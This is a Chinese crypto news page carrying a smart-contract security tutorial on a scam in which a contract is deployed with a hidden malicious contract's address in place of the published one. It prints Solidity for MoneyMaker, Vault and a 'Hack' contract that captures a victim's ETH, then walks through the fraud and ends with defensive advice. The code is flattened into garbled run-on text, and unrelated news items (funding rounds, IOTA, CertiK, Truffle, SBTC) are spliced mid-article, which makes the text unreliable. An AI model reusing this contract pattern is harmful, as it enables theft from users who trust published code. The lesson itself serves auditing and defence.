比特幣交易所 比特幣交易所
Ctrl+D 比特幣交易所
ads
首頁 > DYDX > Info

智能合約安全審計入門篇 —— 移花接木_MAKE

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用tx.origin進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A合約并告訴受害者我們會在部署A合約的構造函數中傳入B合約的地址并將B合約開源,其實我們會在部署A合約時傳入C合約的地址,如果受害者完全信任我們沒有檢查部署A合約的那筆交易,我們就完美的將惡意代碼隱藏在了C合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約A傳入合約B地址,這樣調用路徑為正常路徑。

實際的調用路徑:

智能合約平臺Firechain完成300萬美元Pre-Seed輪融資,Genblock Capital領投:5月24日消息,異步智能合約平臺Firechain近日宣布完成300萬美元Pre-Seed輪融資,Genblock Capital領投,MGNR、Cogitent Ventures、1NVST、Ankr等參投。此輪融資資金將用于擴大團隊規模、加快發展路線圖、以及推出其創新區塊鏈平臺。

據悉,Firechain構建異步、事件驅動的混合賬本模型架構,以支持免費交易、可證明安全鏈上隨機性等功能。Firechain計劃于6月發布其DLT網絡的公開測試網。[2023/5/24 15:22:12]

部署合約A傳入合約C地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

IOTA聯合創始人:即將推出智能合約,未來將升級主網并實現完全去中心化:10月14日消息,針對即將推出的智能合約,IOTA聯合創始人Dominik Schiener表示,非常有信心為整個智能合約市場提供令人興奮的新架構和協議。“IOTA Foundation的下一步是升級主網并將IOTA完全去中心化。我應該提到的是,我們顯然正在將智能合約和數字資產引入到主網。目標是在IOTA 2.0登陸主網之前,我們將在主網上擁有智能合約。在接下來的幾個月里,我們允許生態系統開發新的創新,以便到明年它們基本上可以在主網上發布。有很多事情要做!”

此外,Dominik Schiener表示,自己的加密投資組合里全部是IOTA,不包含比特幣等其他代幣。“我確實有一些以太坊代幣,主要是為了實驗。用于嘗試DeFi應用。主要是我只持有IOTA代幣。但我通常建議人們分散投資,擁有一籃子資產,去嘗試新事物。”(U.Today)[2021/10/14 20:29:52]

騙局分析

Khala智能合約橋已通過CertiK安全審計:據官方消息,Web3云計算項目Phala Network預備主網Khala Network的智能合約橋已通過區塊鏈安全公司CertiK的安全審計。據CertiK出具的審計報告顯示,Khala智能合約橋沒有嚴重或重大漏洞,并能有效防止惡意攻擊,部分次要問題已得到解決。作為Khala鏈上的重要功能構成,Khala智能合約橋能幫助用戶實現ERC20 PHA與K-PHA的兌換,讓Khala網絡外的PHA資產得以轉入Khala賬戶,從而為后續參與TEE Mining或其他Khala鏈上活動作準備。[2021/7/31 1:25:42]

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A,B,C三個角色來區分三個合約分別代表什么角色:

MoneyMaker合約代表A合約;

Vault合約代表B合約;

Hack合約代表C合約。

所以用戶以為的調用路徑為:

以太坊智能合約開發工具Truffle發布5.1.37版本:以太坊智能合約開發工具Truffle宣布發布Truffle 5.1.37版本。該版本包括語法高亮,可用于Solidity 0.7.0和更好地識別已驗證合約。[2020/8/1]

MoneyMaker->Vault。

而實際的調用路徑為:

MoneyMaker->Hack。

下面我們來看看攻擊者如何完成騙局的:

1.Evil部署Vault(B)合約并在合約中留存100ETH資金,在鏈上將Vault(B)合約開源;

2.Evil部署Hack(C)惡意合約;

3.Evil放出消息說他將會部署一個開源的賺錢MoneyMaker(A)合約,部署時會將Vault(B)合約地址傳入且會調用Vault.setMacker()將maker角色設置為MoneyMaker合約地址,任何人調用MoneyMaker.makeMoney()向合約中打入不少于一個以太都會得到雙倍以太的回報;

公告 | SBTC將在區塊高度530555處激活智能合約:SBTC(超級比特幣)發布公告稱,為增加SBTC網絡原有生態拓展性,并為有理想的極客們開發出更多有價值的項目和應用,SBTC將于區塊高度530555時激活智能合約。目前,最新版本已在Github上公布,各交易所、錢包及礦池須及時更新,避免因更新延遲導致相關利益方受損。[2018/7/3]

4.Bob收到消息,了解到MoneyMaker合約的存在,他看了MoneyMaker(A)和Vault(B)合約的代碼并檢查了Vault(B)合約中的余額發現邏輯確實如Evil說的那樣,他在沒有檢查MoneyMaker(A)部署交易的情況下就相信了Evil;

5.Bob調用MoneyMaker.makeMoney()向合約中打入自己全部身家20ETH,在他滿懷期待等著收到Vault(B)打來的40ETH時等來的卻是一句"Haha,youretherismine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil在部署MoneyMaker合約時傳入的并不是Vault合約的地址,而是傳入了Hack合約的地址。所以當Bob調用MoneyMaker.makeMoney()時并不會像他想像中的那樣MoneyMaker.makeMoney()去調用Vault.transfer()回打給他雙倍的以太,而是調用了Hack.transfer()拋出了一個事件:"Haha,youretherismine!"。最后Evil調用Vault.withrow()將Vault合約中的100ETH轉出,并通過Hack.withrow()將Bob轉入的20ETH轉出。

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

Tags:MAKEMakerULTVAULTCrypto Makers Foundationmakerdao代幣ETHVAULTVaulteum

DYDX
對話Benchmark合伙人:初創公司競賽應比拼用戶價值創造,而不是去中心化_ARK

原文作者:BerberJin原文標題:《Benchmark’sApproachtoCryptoTakesaPageFromWeb2.0》編譯:海爾斯曼.

1900/1/1 0:00:00
巴比特午間要聞一覽_比特幣

1.彭博社ETF分析師:Valkyrie申請在美國推出1.25倍杠桿比特幣期貨ETF2.《經濟學人》DeFi主題封面NFT以99.9ETH的價格售出19.

1900/1/1 0:00:00
巴比特專欄 | 白士泮:新加坡Web3行業的風險與挑戰_區塊鏈

作者:白士泮陳海硯 注:本文首發于聯合早報 圖片來源:由無界AI工具生成Web3是互聯網的新時代,也被稱為“讀+寫+擁有Web”。Web3基于區塊鏈底層技術,本質是去中心化的.

1900/1/1 0:00:00
一文盤點Sui即將上線的13款鏈游_COM

原文作者:Zen,PANewsSui開發公司?MystenLabs?日前宣布,從?5?月?15?日起,其?11?個游戲合作伙伴的游戲將在?Sui?區塊鏈陸續上線.

1900/1/1 0:00:00
LD Capital:萬字解讀比特幣二層網絡Stacks_TAC

原文作者:JadenFan、JinzeJiang、LDCapital?Research礦工收益可持續性問題顯現,比特幣社區面臨潛在的算力危機,比特幣智能網絡生態發展可有效提高網絡使用率.

1900/1/1 0:00:00
Meme幣和BRC-20外 近期還有這四件事值得關注_COI

作者:@EasyEatsBodega,編譯:Odaily星球日報?littlebear?在一些硬核開發者的眼中,近期的Web3世界可以說是乏善可陳.

1900/1/1 0:00:00
ads